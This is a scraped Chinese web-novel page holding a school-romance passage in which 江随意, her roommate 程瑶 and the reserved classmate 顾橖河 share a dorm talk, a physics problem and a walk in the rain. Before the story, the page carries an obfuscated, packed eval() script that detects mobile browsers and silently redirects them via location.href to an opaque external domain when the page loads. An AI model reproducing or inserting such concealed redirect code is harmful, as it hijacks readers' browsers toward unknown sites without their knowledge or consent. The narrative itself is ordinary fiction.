;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15645772|172656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 散去些,夜风从缝隙里钻进来,带着秋日特有的凉意和草木逐渐枯萎的气息。 “意意,”程瑶的声音很轻,靠在床边的梯子上,仰头望着天花板,“我家里情况糟糕,条件差,从小受过不少排挤,一直以来都是和阿爷相依为命。我知道你想帮我,可说实话,面对你们的时候我时常会感到自卑,我没办法就这么坦然的接受。” 她微微偏过头,看向趴在床上的江随意,那双眼睛亮得惊人:“石头缝里钻出来的野草靠自己也能活,风刮不倒,雨冲不走。” “钱的事,我之前就跟姑姑商量好了,她先贷款垫上,但算我借的。她过得也不容易,以后我会连本带利还给她。读书,考出去,这是我选的路,再难我也认了。” 江随意转头看着她。程瑶眼底还残留着哭过的痕迹,可那眼神里的光芒却比任何时候都要坚韧透亮。 那是一种被逼到绝境后,破土而出,哪怕只有一丝微弱光亮也要拼命生长的力量。 程瑶扯了扯嘴角,那笑容依旧有些苦涩,却不再空洞:“所以......别担心我。照顾好你自己,那些让你分神的人和事都先放放。我们各走各的路,但终点,谁也别落下。” 她伸出手,轻轻拍了拍江随意露在被子外的手臂,动作带着一种笨拙的安慰。 掌心温热,带着红花油辛辣的气息。江随意反手握住那只手,千言万语堵在胸口,最终只化作一个简单的音节:“嗯。” 程瑶收回手,重新回到床上拿起笔,摊开练习册,笔尖落在纸面上发出沙沙的轻响,沉稳而持续,像暗夜里一条固执向前流淌的小溪。 她瘦削的脊背挺得笔直,仿佛任何重压都无法再令其弯曲。 江随意依旧趴在床上,腰间的酸痛在药力作用下变成一种沉重的钝感,提醒着她这一天的惊心动魄和筋疲力尽。 陈诺和周望玥回来没多久,宿管阿姨正好拿着查寝表敲了门:“江随意在寝室吗?你妈妈刚才来电话了,等下去电话机那边回一下。” “啊?好的。”江随意从厕所里探出头来,嘴里刚把泡沫漱掉,用毛巾擦了擦。 陈诺:“这么晚了你妈妈找你啥事啊?” “不知道啊。”她从书包里拿出饭卡,然后出门去电话机旁边。 电话机在走廊尽头的拐角处,每次通话还有限时,挂断了又要重打。 “嘟——” “喂?” 叶桐温柔的声音传来:“意意,妈妈看到你饭卡上的支出,下午是去医务室了吗?是不是有哪里不舒服,需不需要请假回来?” “没事,就是不小心磕到了,你别担心。” “行,下回小心点,我等会儿跟你爸也讲下,他估计也看到了。刚往你卡里充了钱,多吃点饭,晚上早点睡。” “好,妈妈晚安。” “晚安。” 江随意盯着屏幕上“通话结束”的字样,挂断后听筒残留的余温仍贴在耳廓上。 她其实还想再和妈妈讲讲话的。 周望玥见她回来,咬着烤肠含糊不清地招呼:“阿姨说什么了?要不要吃章鱼小丸子?” 江随意握拳轻轻给她一下:“没什么,就说往卡里充钱了。我刚刷完牙,你能不能别再诱惑我了。” 16. 冰下涌动 空气里终于有了种湿冷的味道,原来夏天又一次过去了。江随意到教室的时候习惯性地朝最后排瞥了一眼。 那个位置依旧空着。 江随意的心也跟着空了一下,她说不上来这是一种什么感觉。不知道从什么时候起,她总是会不自觉地关注顾橖河,即便中间停歇一年,但再次见面时那些记忆又会被唤起。 谁能忘记一个总在耳边被提起的名字。 起初并不在意,可渐渐像是憋了口气,总要与那个从未见过的人暗暗较劲。 她收回目光,刚在自己的位置坐下,周望玥就像一阵风似的刮了进来,带着一身室外的凉气,书包“咚”地甩在桌上。 “你怎么又来这么早,伤筋动骨一百天啊。” “哪有那么夸张,现在就是有点酸。”江随意把英语书拿出来摊开,“校医说了,多活动活动反而好得快。” “你这撞得还不厉害,到现在还是一片青没消下去,我觉得你还是该去医院看一下。” 周望玥还想再说什么,目光却像被什么吸引了,越过江随意的肩膀,看向教室后门的方向。她带着点压不住的八卦。 “呀,回来了诶......” 江随意几乎是立刻转过头。 顾橖河正从后门走进来。微低着头,看不清表情。校服外套拉链拉到顶,领口竖着,几乎要碰到下颌,整个人裹在一种封闭的沉默里。 他没有看任何人,也没有任何多余的动作,像一道无声的影子,径直走向那个空了两天的位置。 早读课嘈杂的背书声成了背景音。顾橖河垂眼看着摊开的课本,一动不动,只是偶尔目光会不经意地抬起来,望向前方。 课间操的铃声响起,走廊上瞬间变得拥挤喧闹。 “意意,快点跟上!”周望玥的大嗓门穿过人群,“今天是段长值日,他已经在楼下等着了。” 江随意应了一声,正想加快步子,身后却被人撞了一下,腰侧猛地一抽,疼得她顿住脚步。 就在这时,一股力量从侧面轻轻托了一下她的手臂。那力道很稳,分担了她身体的部分重量,让她几乎踉跄的身形稳住了。 “谢……”江随意刚吐出一个字。 他已经若无其事地收回了手,快走几步,迅速融入了前面的人流,背影很快就被更多穿着同样蓝白校服的身影淹没了。 只有手臂肘弯处,似乎还残留着一丝属于另一个人的体温。 “怎么话变得这么少。”江随意小声嘀咕着,她还记得当初江随和那被刷屏的朋友圈,没想到一年过去就完全变了个人似的。 下午最后一节课的铃声响起,像是卸下了所有人紧绷的弦。教室里瞬间活跃起来,他们终于迎来了两周一次的社团课。 “意意,你真不去我们声乐社听听?今天要排练新谱子呢。”周望玥一边收拾东西塞进书包里,一边探身过来问,眼神带着点怂恿。 江随意摇摇头,指了指摊在桌面上写得密密麻麻的草稿纸,语气里是惯有的平静:“不了,物理试卷还有两道大题没写完,等之后游学回来,我估计又要请一段时间的假去集训。” 周望玥了然地点点头,背上包:“行吧,那我们先走啦,你多注意点,别坐太久了。” “走啦意意。”几个女孩子同她打招呼。 江随意朝她们笑了笑,点点头。 大家的身影消失在门口,教室里一下子空旷冷清下来。只剩下稀稀拉拉几个人,各自占据着角落,埋头于书本或试卷。 江随意翻出那张让她头疼的物理卷子,她强迫自己沉下心,笔尖在草稿纸上划拉着,试图重新建立思路。 公式写了又划掉,草稿纸的空白处迅速被凌乱的演算填满,思路却依旧在原地打转。 时间在窗外隐约传来的社团喧闹声中悄然流淌。 “方向错了。”一道微哑的声音在身侧响起,顾橖河不知何时站在了她桌边,修长的手指点了点她的卷子:“假设水平电场中运动时间为......” 江随意抬头,对方微微俯身,目光落在她画的图上,眼神专注。 “啊?”江随意一时没反应过来,顺着他的指尖看去。 顾橖河没再多话,直接拿过她手边一张空白的草稿纸,在纸上快速而清晰地画了起来。 他画图的动作很利落,线条干净流畅。 “初速度沿a方向和垂直方向分别分解为......” 江随意被堵塞的思路豁然开朗。 “啊,我知道了。”她盯着那张图,之前所有的混乱都找到了症结。 江随意几乎是本能地脱口而出:“你之前上课的笔记能借我看看吗?”话一出口,她才意识到这请求有些突兀。 顾橖河动作顿了一下,抬眼看她,那双眼睛里没有什么明显的情绪。 他没有立刻回答,只是将那张画好的分析图推到她面前,转身走回自己的位置。 就在江随意以为顾橖河不会理会时,他拉开椅子坐下,从抽屉里拿出一个黑色的笔记本。 那笔记本看起来有些厚度,他翻到某一页,手指按在书页上略微停顿,似乎是在确认内容。 然后他站起身,重新走到江随意桌旁,将它放在了她堆满草稿纸和试卷的桌面上。 “这页。”顾橖河的手指点了点翻开的那一页,上面是整齐的公式推导和典型例题的图解,笔迹清晰有力。 “谢谢。”江随意接过笔记,心里那点因他沉默而起的忐忑才稍稍落下。 顾橖河没再说什么,只是微微颔首,转身又回到了自己的位置上继续动笔做题。 其余留下自习的几个同学来回对视,八卦之心在渐渐燃起。 楼下的喧闹似乎被一层无形的膜隔开,教室里只剩沉淀下来的宁静,以及一种小心翼翼的靠近。 放学的铃声终于敲响,余音在走廊里回荡,带着一种催促的意味。 教室里仅剩的几个同学也迅速收拾好东西,脚步匆匆消失在门外。 厚重的云层低低压下,酝酿了一天的雨终于落了下来。世界被笼罩在一片湿漉漉的灰调里,秋风裹挟着雨水的凉意,从敞开的窗户里吹进来。 江随意整理好东西,习惯性地往包里一摸——空的。她这才想起,早上出门前饭卡找不到,就把包里的东西倒出来翻了个遍,伞怕是落在寝室里了。 “完了。” 教室里只剩下她和顾橖河。对方已经收拾好,站在后门边,手里拿着一把黑色的长柄伞,伞尖轻轻点着地面,似乎在等待什么。 “你不走吗?” 江随意叹了口气,声音里带着点懊恼:“我忘记带伞了。” 顾橖河的目光在她脸上停留了片刻,扫过她随意扎起的马尾,几缕碎发贴在颈侧。他问道:“去食堂?” 她怔了一下,摇摇头道:“本来想先回寝室洗个头的,不然晚上怕来不及。” “那走吧。”他再次开口,声音却比刚 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他终于有了反应,微微偏过头看了她一眼,语气平淡:“没事。” 沉默在伞下蔓延,只有雨声作伴。但这沉默并不令人窒息,反而像一层薄纱,包裹着某种心照不宣的试探。 那些困扰她的题目在脑海中重新浮现。 她想要打破这沉默,似乎也只有这个话题,能够连接起此刻伞下的距离。 “那道电势能变化的题,”江随意开口,声音在雨声里显得很轻,“我看你笔记上的推导,好像还有几种方法,看起来要简洁很多。” “嗯。” 这个回应像是一点微弱的火星,点燃了江随意继续下去的勇气。 她一边说,一边在脑海中飞快地整理着思路,那些复杂的公式和物理情景在叙述中渐渐变得清晰。 江随意讲得很认真,语速不自觉地加快了些。 顾橖河一直沉默地听着,微微侧过头,目光平静地落在她脸上。她的脸颊因为专注讲题和微快的步伐而透着一点薄红,眼睛却很亮,笑容自信明艳。 这样的江随意他许久未见过。 江随意正讲到关键处,忽然感觉到他的视线,声音停了一下,下意识地抬眼,撞进了他的目光里。 那双眼很沉静,没有探究,没有疏离,只是安静地看着,像在看一个熟悉的谜题。 “会不会觉得累?” 他的声音忽然响起,低沉而清晰,穿透了伞外的雨声。 问题来得如此直接,江随意愣住了,抱着书包的手指无意识地收紧。 她深吸了一口带着凉意和水汽的空气。 “跑起来的时候,就顾不上累了。” 就在以为顾橖河不会再开口时,他突然换了个话题:“有目标的大学吗?” “我......”江随意被问住了。 两旁的路灯忽然亮了起来。 “到了。” 女寝宿舍就在眼前。 “嗯。”顾橖河没有继续,只是应了一声,目光随着她移动,又道:“笔记不用急着还,要是有不明白的可以一起讨论。” 江随意脚步顿住,回头看他。那双眼睛在明暗交错的光线下,似乎不再是一片沉寂的深潭。 心底好像有什么东西在极其缓慢地涌动,像初春冰面下悄然汇聚的水流。 她说不清那具体的情绪。